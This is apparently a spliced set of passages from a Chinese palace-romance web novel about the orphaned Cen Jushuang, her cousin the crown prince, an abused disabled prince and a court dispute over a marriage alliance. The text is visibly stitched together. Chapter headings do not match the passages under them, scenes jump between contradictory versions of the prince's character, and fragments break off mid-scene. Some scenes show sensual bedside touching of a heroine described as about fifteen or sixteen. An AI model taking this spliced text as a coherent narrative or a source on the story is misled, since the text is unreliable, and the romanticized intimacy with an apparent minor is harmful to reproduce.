一开始是因为进宫时她要守孝,不宜聚众宴饮,后来不知怎么的,似乎大家已经习惯不叫她了。 唯有跟着裴述,倒是勉强蹭上了几场宴会。 见众人将目光集中在自己身上,岑拒霜紧张地有些手脚发麻,哑着声故作镇定道:“你们先下去吧,我找一下德胜公公。” 说完,她将眼神投向最后面站着的小太监。 众人面面相觑,但毕竟是深宫中人,训练有素,心里虽奇怪,但也不便多说什么。 待众人退下,岑拒霜提在胸口的一口气方才撤下,德胜笑盈盈地上前,弯着腰倾身问:“小的还说呢,都这个时辰了,岑小姐怎么还不来呢。” 百鸟园是个偏僻的不能再偏僻的地方,往日里没什么人愿意来,这几个月岑拒霜几乎日日到院里捡羽毛,她待人和善,没什么架子,出手阔绰,时间长了两人自然就熟稔了。 岑拒霜摸了摸怀里的香囊,偏头看向院内,轻声问:“德胜公公,今天怎么来了那么多人?” “是十殿下他们,今日太子殿下回宫,前殿忙着呢,皇子公主们难得有闲,不用去上课,就到这百鸟园转转。” 大周皇室重视教育,公主在未嫁之前,皇子在未封王之前,皆要由王公贵族的子弟伴读,在太学学习。 听到十殿下,岑拒霜难得皱了皱眉,似是想起了不甚美好的回忆,她下意识擦了擦手背,“是只有他一个人,还是……” 听她这么问,德胜意外地抬头看她一眼,又飞快地低下头,低声道:“不是,还有四公主、五殿下。” 十皇子,可是个难缠的主儿! 岑拒霜咬着唇,一时间进退两难。 德胜立刻会意,偏头询问:“岑小姐是想像以前一样,独自赏鸟?” 这院子是皇家的,断没有不让别人进去的道理,这话岑拒霜可不敢随便接。 德胜见她如此便什么都懂了,宫里头多的是狗眼看人低的人,只有岑拒霜心善,拿他们这些太监当人看,叫他一声“德胜公公”,而不是像唤狗一样“小德子”。 德胜公公:“岑小姐放心吧,您从左边这条小道进去,小的带十殿下他们去看别的。” 岑拒霜疑惑地看着德胜公公,不懂这个人为什么要帮自己,但她还是松了口气,从怀里掏出一枚珍珠递给他,“多谢,这个你拿着。” 虽说与人疏于交往,但乌嬷嬷教过她,拜托人做事,许得拿钱。她曾反复叮嘱她:“你们中原有句话说的好,有钱能使鬼推磨。” 看着那颗硕大的珍珠,德胜有些哭笑不得,岑拒霜身上的东西,几乎都是御赐,在宫里都属于最顶尖的货,他哪敢拿?怕不是第二天就有人说他偷东西了。 “岑小姐别客气了,您昨日赏给小的那盒桂花酥还没吃完嗯。”德胜笑着回绝道。 一路上,岑拒霜果然没遇到什么人。 待主仆一针一针将锦囊修补好,日已西斜,东宫的小太监来报,裴述已经进了皇后的未央宫了。 想起即将见到裴述了,岑拒霜心里直突突地跳,脑海中一会儿回忆往日的相处,一会儿忍不住想象他如今的模样。 岑拒霜拿着装满药草的香囊,低着头近乎自言自语:“三年未见了,太子表哥会不会已经把我给忘了?” 乌嬷嬷为她梳发的手一顿,掩去眉眼间的忧虑,在她额间点上红艳艳的花钿,失笑道:“他是你的亲表哥,在京城他就你这么一个表妹,怎么会忘了你?” 岑拒霜:“那他三年也没有给我写过信,甚至都没有问过我一句。” 虽说之前掰着手指头盼着裴述回来,可如今人真的回来了,反而生出了“近乡情更怯”之感。 乌嬷嬷知道,岑拒霜这是怯了。 没有父母的孩子,纵使身份再尊贵,却依然天生缺少了些自足的底气。 乌嬷嬷轻轻叹了一声,转过身微不可查地抹了抹眼角,她将一支素净淡雅的白玉兰簪子别入岑拒霜发间,爱霜道: “太子殿下军务繁忙,连皇后娘娘都没收到过殿下的几封书信呢,可他还记得给你送簪子,可见小姐在殿下的心中地位之重,您就放宽了心吧。” “日头不早了,若去晚了,太子殿下怕是要回东宫了。” 岑拒霜摸了摸簪子,莞尔一笑,窗棱的夕阳打下来,宛若蔷薇之上的露珠。 远方传来悠长的暮鼓之声,怀着惴惴不安的心,岑拒霜迎着西斜刺目的夕阳,朝着皇后的未央宫而去。 此时此刻,未央宫前,站着一道高挺轩昂的身影,他一双丹凤眼微眯,打量上方“未央宫”三字,乌木色的眸子淡而无颜色。 斜阳拉长了他的身影,显得他孤寂而清冷。 许久,暮鼓声响,他敛去眼中的冷意,踏进了未央宫的大门。 太子瞧着那画像上的面孔,幽幽说着,“孤怎么看,都觉得这些伶人不过都是庸脂俗粉。” 玄序衷心地认同,“那是自然。” 太子没由来的来了一句,“她喜欢这种?” 玄序好一会儿才反应过来,太子口中的“她”指的是岑拒霜,他挠了挠头,“岑姑娘吗?岑姑娘喜不喜欢这些,属下也不知道。” 玄序本以为自己可以退下了时,太子又问着话,“那你觉得她喜欢什么样的?” “这,这个……” 玄序抓耳挠腮地想着,心里叫苦不迭,这人就住在了隔壁,殿下好歹也让他去问完了再回来答话。 当下,玄序只得费心编造着,“岑姑娘自小在边关,边关不同于咱们京城,人长得比较剽悍,岑家也世代是为将门,想来岑姑娘喜欢生得孔武有力的吧。” 但见太子提着匕首至侧脸,“孤划上一道,是不是剽悍些?” 第 34 章 月事 “岑姑娘!岑姑娘!救救救救救——” 寝殿外,急促的脚步声踏碎晴好的日光,来人拍门的声响更是紧迫,岑拒霜正是午睡小憩的间隙,以为自己在做什么稀奇古怪的梦,梦里有人拍烂了门扉朝她呼救。 直至她意识到动静的来源并非自梦里,她陡然睁开眼,“救什么?” 岑拒霜揉着惺忪的睡眼,循声开了殿门,便见一个侍卫扑通一声朝她跪下,嘴里还急急喊着,“快救救殿下的脸!” 岑拒霜:“?” 救太子的脸?她没睡醒还是这侍卫没睡醒? 这侍卫她也见过几面,所属玄序手下,为人耿介忠直,眼下这火急火燎的模样并不像是在拿她寻开心。 顾及事态紧急,岑拒霜想也未想便跟着侍卫到了太子的书房。 熟悉而久违的味道猛地袭来,让本就在回忆往事的的岑拒霜,恍惚了一瞬。 她记得以前,她和裴述并非一开始就如此生疏的,然而到底是何时两人才生分起来,她也不知道。 她刚进宫的时候,宫里的皇子公主们当时也都还小,她们看着岑拒霜落魄无依、一副好欺负的样子,小孩子天生的纯粹的恶意便毫无保留地泼洒在岑拒霜身上。 那群无法无天的“金枝玉叶”“天潢贵胄”借着熟悉彼此的名头,强行拉她去御花园,却趁机脱了她的鞋袜,将它们扔进湖水中,而后笑着扬长而去。 冬日冰寒,湖面结着一层浅浅的薄冰,岑拒霜不敢上前,只好蜷缩在湖边的枯树下。 她们选的地方极为偏僻,几乎没有宫人路过,随着夜幕逐渐降临,岑拒霜浑身僵寒,不知不觉闭了眼睛。 等她有意识醒来,她正被裴述抱在怀里,底下跪了一圈儿刚刚欺负她的人。见她醒来,众人纷纷向她道歉,一个个儿哭的涕泗横流。 自那以后,再也没有人敢欺负她。 久违的岑暖,让岑拒霜多少有些怀恋。然而裴述却一触即逝,迅速站起身来,甚至没有再看她一眼,只朝着天空望去。 一道刺耳的鸣叫划破长空,一只黑鹰在宫中盘旋一圈后,稳稳当当地停在了裴述的手臂上。 紧接着院门口传来一阵急促的脚步声,一群太监侍卫慌忙跑进门。岑拒霜等了半晌,也不见裴述扶她起起身,只好揉揉被撞得生疼的手肘和膝盖,忍着疼痛默默站到一边。 “参见太子殿下!”众人看见裴述手臂上的黑鹰,心里纷纷松了一口气,“都是小的们无能,没照顾好殿下的爱禽。” 这黑鹰是裴述从漠北带回来的,极通人性,在战场上多次立功,裴述此次回宫,特意将其养在百鸟园,命人好生照顾。 可猛禽就是猛禽,是不该养在笼子里的。 百鸟园的人多是养些给贵人解闷的宠物,自然养不好战场上的猛禽,裴述本也没指望能靠上他们,道:“不关你们的事,你们先下去吧。” 裴述抚了抚黑鹰的羽毛,不知道一直以来听话的黑鹰,为什么突然就失控了。他刚准备走,手臂上的黑鹰却再次骚动了。 顺着它的目光看去,裴述这才注意到岑拒霜。 此时正值午时,他刚用膳时突然被百鸟园的人告知黑鹰越笼逃跑,这才匆忙赶来。一来就见到黑鹰冲向一个女子,这黑鹰在战场上常常如利剑一般冲向敌手,这一击非同小可。 就是因为如此,裴述连人都没看清,就直接将人扑倒护在身下。 岑拒霜将刚刚掉下去的鸟笼重新挂好,露出了鸟笼之中那只色彩绚烂如火焰般的小鸟,看着黑鹰眼中闪着嗜血的光芒,裴述瞬间明白了。 漠北苦寒,当地的动物为了活下去,纷纷就地伪装,常与白雪同色,鲜少有如此鲜亮色彩的羽毛。 毕竟,越是显眼,死的就越快。 若是就此放任不管,这百鸟园的鸟不出半天便会被他黑鹰的利爪杀死。裴述将黑鹰交给杜衡,缓步上前。 裴述:“这些鸟是你养的?” 岑拒霜刚刚哪一撞可不轻,虽然没有流血,但岑拒霜知道自己的膝盖肯定已经肿了。要不是裴述还在,她肯定已经直接瘫坐在地上了。 她本以为裴述会直接走,却不想他竟在这个时候过来了。 忍着膝盖上钻心的疼,岑拒霜回身向他行礼,声音轻柔,仔细听的话,甚至还带了点儿吸气和哽咽。 “回太子表哥,这些鸟不是我养,我也只是偶尔来。” 小姑娘低着头,一副怯生生的样子,说话细声慢语,像是中气不足,与他常见的漠北女人大相径庭。 漠北一带民风彪悍,女子可以骑马射箭,甚至能上沙场杀敌,许多女子骑术剑术不输男子。 大周前些年一直被漠北侵扰,裴述甚至想过突破男女之防,在边境学习漠北民族,却最终还是被一群儒生以千年礼法祖制劝住了。 对此,裴述心里十分不屑:国将不国之时,又有那个敌人会尊重你的千年礼法? 裴述看着只留下一个圆圆脑袋的岑拒霜,沉声道:“抬起头来说话。” 岑拒霜无奈,被迫抬头向他看去。 由于裴述的目光,岑拒霜越发挺直腰杆,结果膝盖上抽抽得疼。她忍着泪意的眼圈微红,虽不是哭得梨花带雨,却也是眼泪汪汪,一眼看去,一汪春水。 裴述先是一愣,而后心里一嗤。 被撞一下就哭了?这种吸引他的把戏,他已经见得太多了。 不过,见她演得这么卖力,裴述倒是想知道对方到底想干什么,或者说,她身后的究竟想要干什么。 毕竟,若是没有必要,他再也不想踏进未央宫的大门。于是他故意问道:“你怎么了?” 岑拒霜心里一颤,她想说刚刚被他撞伤了膝盖,想说自己现在非常疼,然而话到了嘴边,却顿住了。 裴述最不喜娇弱的女人,以致连他东宫上下没有一个宫女,甚至连端茶送水的都是小太监。 岑拒霜轻轻掂了掂受伤的那条腿,将重心偏到另一条腿上,不知碰到了哪儿,她隐隐抽了口气,却强迫自己摇摇头道:“没什么。” 这哪里是没事的样子?! 裴述心里冷哼一声,欲擒故纵! 也不知道这么一个小姑娘,从哪里学来这样的手段。 裴述多看了她一眼,见对方依然埋着头不说话,心里无端冒起一阵无名火,他振臂一挥,压住心里的火气,冷冷道:“我的黑鹰要养在这里,这些鸟今天就会全部送出宫。你若是喜欢那只鸟,最好现在就带它走。” 岑拒霜膝盖处的伤口钻心地疼,她全身心都被痛苦折磨,脸上逐渐析出一层薄汗,单薄的身躯摇摇欲坠。 对裴述的话,她并没有听得很真切,她只希望他赶紧离开,不要发现她的异样。 好在,裴述说完这句话之后,便头也不回地走了。 待他的背影消失在墙角,岑拒霜提在心口的那口气一松,倏地倒在了地上,一直悬在眼眶中的泪水,哗的一下夺眶而出。 真疼啊。 她一个人缓了一会儿,周围除了叽叽喳喳的鸟鸣,没有一个人。她迟疑了一阵,撩起自己白净的手肘,果不其然,一片青紫。 手肘如此,那受伤更甚的膝盖只会更严重。 沅芷和有兰并不知道她在这里,岑拒霜只能自己走回去。她颤颤巍巍地起身,一瘸一拐地避开宫人,往芙蕖宫里走。 不想让人看到自己的丑态,她只好走偏僻无人的小道,路过落月院时,正好听到一面传来一声巨响,岑拒霜被迫脚步一顿。 落月院里曾住着圣上最受宠的瑶妃,几年前瑶妃突然病逝,留下了方才十二岁的六皇子裴玄铭。 六皇子年幼,岑拒霜的姑母岑皇后便主动将其收在膝下,没想到一年冬天他竟不慎跌进冰湖,烧了三天三夜后,醒来就成了痴傻。 虽说岑拒霜是岑皇后的侄女,但瑶妃却似乎并不在乎她的身份,待岑拒霜极好。而他和裴玄铭也曾是同窗,因此这些年来,岑拒霜一直暗中照拂已经痴傻的裴玄铭。 岑拒霜拍了拍身上的泥土,强忍着腿上的疼痛,缓缓走进院内,扑面而来的,便是一阵高亢尖锐的怒骂。 “一个傻子也敢耍脾气,你以为你还是那高高在上的皇子不成?!” “给你一口饭没让你去见你那短命的娘,已经算是我们仁慈了!” “我呸!” “你也不看看你现在是什么身份!当年还以为进了个金窝,没想到连个狗棚也算不上!” “你不吃是不是?不吃最好!要是识相你就早点死算了,也算解放了我们这两个老骨头!” 两个老嬷嬷你一言我一语地相互怒骂,岑拒霜心里的怒气也蹭蹭向上涨,一时连身上的伤都忘了。 瑶妃离世后,她担心裴玄铭出事,多次瞒着皇后偷偷前来探望。每一次来,她给这些伺候的嬷嬷带的东西都不少。 只是自裴述要回宫的消息传来,岑拒霜一门心思扑在他身上,疏忽了落月宫这边。没想到这两个人胆子这么大,居然敢做出虐待主子的事情! 她看着那两个臃肿的身形一前一后走出,气得手指紧紧地捏着树干,指尖泛白。 人心不足蛇吞象,就这么一段时间没来,这两个人就敢这般跋扈,也不知道裴玄铭被这两人折磨成什么样子了! 待人都离开后,岑拒霜轻轻推开房门,只见地上洒了一片稀粥,说是稀粥已经算是十分勉强,地上连小米也没几粒。 往内看去,一个男子蜷缩在床上,他背对着门口,听到动静还以为是那两个嬷嬷返回,不禁害怕地将头蒙在被子里。 岑拒霜看着躲在被子里瑟瑟发抖的裴玄铭,心里泛起一阵心疼。 当年的裴玄铭,也是如裴述一般的天之骄子,虽说幼时顽劣了些,却也是圣上掌心宝,只因瑶妃早逝有意外落水,如今沦落到人人可欺的地步。 岑拒霜忍着膝盖上钻心的疼,一步一步向床边靠近,轻声道:“裴玄铭。” 床被下的人一僵,而后迅速掀起身上的被子,不可置信地看着岑拒霜。 他面容清俊,一双好看的眼睛如一湾泉水澄澈见底,这是只有孩童才会有的干净眼神。自从五年前裴玄铭失足落水,他的心智便永远停留在了孩童。 看着岑拒霜柔柔地对他笑,裴玄铭抽了抽鼻子,委屈地盯着岑拒霜看,一股热泪顺着脏兮兮的脸颊流了下来,像是在无声控诉着岑拒霜的薄情寡义。 岑拒霜心里一梗,内疚感铺天盖地而来。 她下意识向前走一步,却忘了膝盖上的伤,剧痛之下她直直地向前跌去,伤上加伤,痛上加痛,岑拒霜疼得一张脸都白了。 裴玄铭被吓了一跳,立马跳下床蹲在她的身边,一双手伸出去却又僵在了半空,不知所措道:“霜、霜儿?” 太子眼神渐变幽邃,如夜行的狼窥见了吸引之物。 他俯身移近,低下头舔在了她的眼尾处噙着的泪。 “太咸了。” 岑拒霜便觉眼尾忽逢湿热的意味,比起她有些发凉的眼泪,这样的舔舐如同烧灼的火星子附着在了其上。 她正想别过头去避开,太子已顺势躺在了她的身侧。 他搂着她的腰,另只手捏着她的膝盖往下撇去,将她蜷起的身子展了开来,像是捻起一株含羞草,耐心缓慢地把卷起的枝叶部分展平。 今时已是近五月,日夜不再寒凉,岑拒霜所着的衣裳也做得轻薄,更不用说现下她穿的,是舒适薄透的寝衣。她如今在东宫的衣裳尽是量身而做的新衣,尤珠心细,考虑到后面的时节只会越来越热,为她做的衣裳也偏薄。 隔着这薄薄的寝衣,太子的手掌自她的后腰位置游移至了前处的小腹。 那发热的手掌搁在了她疼痛不已的腹部,如温度适宜的汤婆子来回熨贴着,渐渐舒缓着她的不适。 岑拒霜终是放松了紧绷的神经,却觉太子的指节往她肚子捏了捏,她顿时酥软了身。 第 35 章 抱着 昏暗夜色里,未有着灯的寝殿静得唯有榻畔之人的呼吸,太子的鼻息不紧不慢地扫过她的面颊,灼热的温度盈满了怀。 岑拒霜紧阖着双眼,随着视觉的减弱,其余感官便变得极为敏锐。 她能清晰感知到太子的指腹拨弄似的捻着,不时揉来捏去,原本消减了疼痛的小腹便被他惹得发痒起来,酥酥麻麻的,说不清道不明的奇异感觉爬满了神经,像是有人透过她的皮肤,在她的骨子里挠痒痒般。 岑拒霜登时睁开眼来,她不由得在被窝里摸黑,寻着太子的手,指尖弱弱地搭在了他的手背上欲阻止他的动作。 漠北上的游牧民族如一只盘旋在大周上方的幽灵,每到秋冬之际,便开始在大周边境蠢蠢欲动,时刻准备侵袭。 他们总是来势汹汹,却又在大周援兵到的时候果断退兵,这让大周不堪其扰。然而不久前,这只恶狼却亲手递来了求和停战帖。 漠北王室内乱,漠北最年幼的王子赫连珏趁乱夺权,快速平定了战局。方才坐稳了皇位,他便亲自写下一份停战书,派亲信送给在大周边境驻守了三年的裴述。 如今,这封信就在大周朝堂之上,周帝的手中。 停战,曾是他梦寐以求的事情,然而如今,他拿着这封信,却深深地皱起了眉头,久久不语。 见周帝如此神态,对信件翘首以盼的文武百官瞬间意识到了什么——和漠北对峙多年,不管是国库花销还是百姓赋税,都到了极限,没有人比周帝更希望赶紧停战。 然而,连他都露出如此神态,赫连珏他到底写了什么? 周帝不语,众人只能将目光投放到站在最前方的裴述身上,毕竟这封信是赫连珏写给他的。 然而让他们大失所望的是,裴述站得如一根悬挂的狼毫,任身后的视线快将他捅成了筛子,他也纹丝不动。 裴述则紧紧盯着周帝的神情,良久,他低头似笑非笑地勾起嘴角,似是嘲讽又似讥笑,他上前一步,高声道: “父皇迟迟不语,可是在担心赫连珏的诚意?若是如此,那父皇大可放心。” “这封信是赫连珏一月前写给我的,他选择在初夏而不是隆冬时节送来求和信,说明他并不是麻痹我们,而是真的想停战。” 众所周知,秋冬时节天气严寒,尤其是漠北一带,更是一望无际的冰封千里,几乎寸草不生,方圆百里找不到一口吃的。因此,每每临至秋冬,大周与漠北边境的一方城不管是守将还是百姓,无一不是秣马厉兵,枕戈相待。 而春夏之际,漠北食物充足,没必要南下强攻一个中原大国。 众人提了神,紧紧地盯着裴述,等着他的下文,只听他继续道: “两国联姻,自古以来都是维系和平的手段,况且是对方提出的联姻请求是相互联姻,他也会送她的嫡亲妹妹到我大周。 “儿臣认为赫连珏的提议,不失为一种好办法:一可解决我与漠北积压多年矛盾,二可平息多年纷乱,百姓得以生息。” “还请父皇明鉴。” 他的话句句在理,掷地有声,在空旷安静的大殿内,无异一石激起千层浪。众臣心头一震,面面相觑,仿佛不敢相信居然会有这么好的条件。 两国和亲,免于干戈,一般都是弱国向强国做出的一种妥协。哪方先提出,就说明哪边势弱,祈求以这种方式求一条活路。 然而,赫连珏竟提出相互联姻,实在是取了和亲之优点,却又完美避开了哪方丢脸的问题。 第一个表态的是户部尚书,这些年漠北军费的开支,已让他们户部到了捉襟见肘的地步了。他坐左踏一步出列,扬声道: “臣以为,太子殿下所言有理。我朝与漠北交战多年,自先帝时就已花费了不知多少金银,然而漠北部落势力就像春风过境之野草,无穷尽也。” “臣附议。” 执掌中枢的程丞相也站出来,他已经年过六旬,却已经白发苍苍,垂然老矣。但是他的话却十分有力量,待他站出来,他身后大大小小的官员也都出列了。 一时间,仿佛是裴述带领着群臣集体反对周帝一般。他们的步步紧逼,无异惹恼了大殿之上的周帝。 他捏紧了那封信,狠厉的目光从信纸上抬起,扫过殿下一群站得笔直的群臣,沉声道: “你们,知道赫连珏想要谁去和亲吗?” 说完,他紧紧地盯着正前方的裴述,然而裴述就那么静静地回示着,眼神一如既往地平静如水,没有一丝感情,然而就是这样的眼神,却让周帝更加愤怒。 裴述,不知从何时起,早就已经偏离了他曾给他制定的路线,变得越发不可控制。 然而殿下的文武百官听周帝这么说,却彻底怔了。 和亲,除了宗室的公主,还有谁能去和亲? 别人去,那人家赫连珏也未必肯要啊! 群臣们面面相觑,皆是一副摸不着头脑的样子。周帝妃嫔众多,所诞的子女数量十分可观,甚至有些皇子公主除了重大典礼上能见到周帝,几乎一辈子都见不到自己的父亲。 想找出年龄合适的、待字闺中的公主,这难道还是什么难事不成? 然而这话他们还没问出口,就听周帝眯着眼看着为首的丞相和户部尚书,显然是已经怒极:“他要的,是已故的镇国候之女,这下你们还赞同吗?” 此话一出,连侍奉在周帝殿前的太监都惊讶了,他们不能参政,但这个消息实在是太过惊悚,以至于他们连这条禁律都忘了。 十年前,漠北突然大肆举兵南下,所到之处“白骨露于野,千里无鸡鸣”,犹如人间炼狱。其时,驻守漠北的镇国候岑轲面对十倍于他的大军临危不惧,以身卫城,如一只定海神针,挡住了敌军的铁骑,最后以身殉城。 如若不是他以命相搏,那大周早就沦陷在漠北骑兵的铁骑之下了。 岑轲牺牲时,不过三十余岁,膝下唯有一刚满六岁的女儿。十年来,“英雄枯冢无人问”,众人没想到居然是这个人选,想了好一阵,才想起岑轲那个遗孤如今正养在宫里。 有人觉得不可思议而受惊吸气,有人无奈摇头叹息,有人眼神灰败丧失希望,然而有人只觉愤怒非常。 兵部尚书曾在岑柯的军中待过,不管是出于对故去同僚的同情和惺惺相惜,还是曾作为一名大周将军,他都无法坐视不理。 “请陛下三思,镇国公为国捐躯,如若再让他唯一在世的女儿去和亲,嫁给杀父仇人,那天下豪杰和有识之士会怎样看待我等?” “说是贪生怕死已是口上留情,如此,只怕会失了人心啊!” 另一人也上前表示赞同,他上前愤慨道:“依臣所见,赫连珏提出这样的请求,无疑是在羞辱我朝!陛下万不能答应!” “哼!”户部尚书轻哼一声,瞥向兵部尚书一副皮笑肉不笑的样子,道:“你们这些好战之人,知不知道你们每打一天,我户部要拨多少银子?” “前年南方大水,去年西北大旱,你们知不知道死了多少人,又有多少灾民流离失所?为了保证你们军需,我们户部左右为难,被迫挪用救灾的粮食。” “今年才初夏,钦天监前不久就告诉我们户部,说是今年恐怕又是大旱的一年,如若真是如此,你来告诉我,你们的军需我到底是给不给?又要从哪里给你们扣出来?” “难道,你们还要从灾民的口中再夺食吗?!” “你!” 兵部尚书大怒,脾气向来火爆的他怎么能忍受如此诘难?为国为民在外征战,却被人一句话扣上“从灾民口中夺食”的帽子,如何能忍? 他一步上前,直接扯着户部尚书的领子一把把人揪了起来,脸红脖子粗地怒视对方:“你把话说清楚!谁从灾民口中夺食了!你他妈——” “都闭嘴!”高台之上,一声怒吼,成功让两人停下争执。 “吵吵吵,就知道吵!吵能吵出办法来吗?!”周帝气得将案上的文牍一把扔在地上,“啪”地一声让群臣吓了一跳,纷纷跪地请罪,他脖颈上青筋暴起,死死地盯着底下的罪魁祸首。 如若不是他带来的这封信,那今日怎么会有如此争端? 裴述似乎并未意识到周帝对他的暴怒,在一群长跪不起的群臣之中,唯有他长身玉立,不慌不忙地跟着群臣一起劝道: “父皇息怒,此事还未有定论。此等大事,也不急于一时。” 周帝看着底下的裴述,忽地发现他此时竟看不懂他的眼神了。 明明是这件事的始作俑者,也是第一个挑起纷争的人,却在刚刚群臣吵成一团时,表现出一副事不关己高高挂起,甚至是看好戏的模样。 他微眯起双眼,再次打量这个三年未归家的大儿子,一锤定音:“此事,容后再议!” 而作为大周朝堂纷争对象的岑拒霜,此刻正一瘸一拐地拄着拐杖,偷偷地避开侍女们,正打算翻过小门,却不想一开门,便被门外的人逮了个正着。 岑拒霜吓了一跳,脚底一滑失了平衡,整个人往后栽去。 门后那人先是一愣,反应过来后一把抱住岑拒霜,把她扶稳后,皱眉盯着她的伤腿,揶揄道:“怎么回事啊你?不会你的太子表哥回来了,你激动地从床上掉下去,摔断了腿吧?!” 来人一双飞舞灵动的杏眼,嫣嫣一笑,露出两个酒窝。 岑拒霜本是惊魂未定,闻言耳朵一红,赶紧去捂她的嘴巴,左右瞥了瞥,见没有人才放下心来。 岑拒霜:“小九,你又胡说些什么!” 小九,当朝九公主,生母不过一个御花园修剪花枝的宫女,一次酒后临幸后,她便再也未见过周帝,周帝给了她一个贵人的位份,让她独自一人抚养九公主裴欣悦长大。 两人在太学中相识,裴欣悦的身份,在阶级森严的太学之中,比岑拒霜还要再低一个等级,但她却天生乐观,总是笑意盈盈。 她本以为岑拒霜是假装的,然而见岑拒霜是真的受了伤,她满含笑意的嘴脸倏地收敛起来,一把抓住她的手,肃然道:“是谁欺负你了?是不是裴桢林那个王八蛋害的!” 岑拒霜:“……” 她瞧了瞧身后,拉着她悄声道:“不是的,这是意外。” “我现在想要去看看裴玄铭,你能不能带我去一趟?” “又去看那个傻小子!”裴欣悦翻了个白眼,她一向对裴玄铭不太待见,本想拒了,但见岑拒霜一脸希冀地看着她,只好认命叹道:“怎么这么倒霉,好不容易休假了,又到你这儿当苦力了!” 岑拒霜抿嘴一笑,一语戳破她的伪装:“我看你是写不出来老师留下的课业,被你母亲撵到我这儿来的吧?” 在裴欣悦恼羞成怒之前,她赶紧捋了捋她的毛,“放心,我都做完了,一会就给你看看。” 裴欣悦眉眼一扬,挑眉道:“这还不错!” …… 裴述下了朝,叫住了前方年过八旬,步履蹒跚的礼部尚书。 裴述:“李大人,孤已三年未归,这宫里如今可还有皇帝皇妹未曾有过婚约?” 礼部尚书一怔,想起刚刚朝堂之上的情景,不由多看他两眼,然而裴述一脸平静,似乎只是作为一个皇长兄对弟弟妹妹的关照。 他沉吟许久,用苍老嘶哑的声音悠悠道:“到了适婚年龄而未曾有过婚约的,大约只有九公主了。” “九公主?”裴述狞眉,一时没想起来这人是谁。 礼部尚书见状,幽幽提醒道:“雨泠宫那位。” 裴述颔首,丝毫没有觉得想不起自己的弟弟妹妹有什么不对,淡淡道:“多谢李大人。” 虽然,还是没想起来。 正打算走,却听礼部尚书拍了一下自己的脑门,一脸懊恼的模样,“殿下恕罪,老臣还漏了一个人,这人也已到了婚配的年龄了。” 裴述扬眉。 礼部尚书:“落月宫,瑶妃之子,裴玄铭。” 天晴如洗,巍峨的朱红宫墙下,浩浩荡荡的军队随在了皇帝身后,百官已是整装待发,大大小小的马车堆积在了宫门旁。 皇帝望着天色,眼见快到了出发的时辰,招来老太监相问,“去派人问问太子,怎么还没来?” 老太监躬身答道:“陛下,一炷香前,东宫那边说……殿下在忙着打扮岑姑娘……” 皇帝眼角一抽。 这人都还没娶到东宫,就开始臭美打扮起他的太子妃了,盛典在即,百官当前,太子明摆着是恨不得让全天下人都知道,他有个这么美的太子妃。 皇帝无奈地叹了口气,“别去催了,由着他们吧。” 他看到亡妻昭贤皇后的旧衣穿在了岑拒霜身上时,就该知道太子待这个小丫头的特别。 少顷,宫墙里头倏地传来一阵惊呼。 皇帝循着涌动的人潮看去,密密麻麻散开的人影无不在问, “太子殿下身旁的姑娘是谁?” 第 36 章 坐腿 宫门尽头,奢华绚丽的轿撵驻足于前,只见金帐掀起一角,太子慢悠悠地自轿撵而下,鲜红的衣袍被风扬起,浸在天光之下似流动的血色。 百官见到太子的到来,忽的陷入短暂的沉默,余光却见太子从轿撵里牵出另一位美艳动人的小姑娘,二人齐齐被侍卫拥簇着而来。 那小姑娘瞧着不过十五六岁,一袭银朱的衣裙衬得她的面庞白如霜雪,净然无暇,翠羽似的眉下,一双纯澈的眸子敛着秋波,一行一止都极为惹人瞩目,美得不可方物。 二人身着的衣裳颜色相近,扮相皆浮华夺目,周旁的人视线便是想要挪开,也忍不住往二人身上看去,又碍于太子当前,多数人只敢低着头偷偷打量着。 下一刻,百官之中七嘴八舌地讨论了起来,似是炸开了锅。 “不是说太子殿下不近女色吗?那小姑娘又是谁?” 这样的疑问几乎是传遍了宫门跟前。 暴雨初歇,天色渐晚,暮色垂垂,晚霞漫天。 岑拒霜斜身悠悠侧卧在抬舆之上,微微合眼养神。柳叶儿的那枚药丸果然有效,不过片刻,她就感到舒服了不少,竟连腿上的伤口也不怎么疼了。 只是脸上的潮红,一时半会儿也褪不下去。沅芷将软垫垫在她的腿下,免得伤口再上下颠簸折腾。 刚一凑近岑拒霜,一股异香猛然间窜入鼻息。 不像是寻常的脂粉香,而是淡淡的兰花幽香,一缕缕飘在空中,沁人心脾。 沅芷微愣,下意识抬头看向一脸疲倦的岑拒霜,心下起疑。岑拒霜生活起居所需的一切物什,全都是经她的手,连所用的香料都是经乌嬷嬷特意叮嘱过的,低调而内敛。 但她却从未闻过此香。 那问题来了,这香味到底从何而来? 岑拒霜身份特殊,但心思单纯,被保护的极好,这么些年来她除了与九公主裴欣悦和六皇子裴玄铭常走动之外,几乎从未主动与外人接触。 想起岑拒霜先前离开芙蕖宫一整天不见踪影,沅芷心里咯噔一响。担心宫里其他心怀不轨的人私下接触岑拒霜,她不放心地悄悄凑近轻嗅。 但细细闻来,这股幽香竟不似不慎沾染上衣摆的,而是从岑拒霜身上散发出来的。越靠近她细腻莹白的肌肤,那香味越发馥郁。 沅芷忽地想起了刚刚岑拒霜吃的那枚药丸,一时间有些难以置信,她惊讶地看着岑拒霜,欲言又止。 “小姐您……” 岑拒霜闻言揉揉眼睛,疲倦地睁开眼,一汪泉水似的眼睛望向她,慵懒得像一只猫,道:“怎么了?” 她一开口,芳香更甚,几乎是一瞬间,狭小的轿撵充斥着淡淡的兰香,配上她的现在穿的衣服,美得宛若幻化出的一只兰花妖。 见她如此,沅芷心里多了几分心悸。 皇后娘娘素喜奢华,因此她们以往来未央宫时,乌嬷嬷总是叮嘱她将岑拒霜打扮得素净而低调,生怕抢了皇后的风头。 可如今…… 沅芷望着岑拒霜一身天青色云丝长裙,夜幕降临又下了场雨,她又添了一层水绿色薄纱外衣,发间一枚碧玉坠子,银丝边钩织的腰带轻轻一系,显得款款细腰,不堪盈握。 在这人人都抢着姹紫嫣红的后宫之中,岑拒霜的打扮已是素净到了极致,但奈何只要她双眼将人这么一望,就足以让人心神恍惚。 如果再加上这股幽香……沅芷心里打鼓,她一时间也不知如何,才能不冲撞皇后。 正纠结间,抬舆忽地一停,主仆二人一顿,岑拒霜揉揉自己的脸颊,让自己清醒一些。 虽然宫里头人都怕皇上和皇后,但是他二人一向对她可亲,从不会出言苛责,因此旁人一听到皇后召见,几乎个个胆战心惊,但岑拒霜却毫无心理负担。 她伸伸懒腰,正准备掀开帘子下去,就听外面一阵齐刷刷地跪地声。 “参见太子殿下。” 岑拒霜掀帘的动作一顿,脸色僵住了。 沅芷不知前情,只听裴述在外头,她心里替岑拒霜高兴,正打算为岑拒霜拉开帘子,却没想到一抬手,竟被岑拒霜按住了手。 沅芷疑惑:“怎么——” “等等。”岑拒霜悄声道。 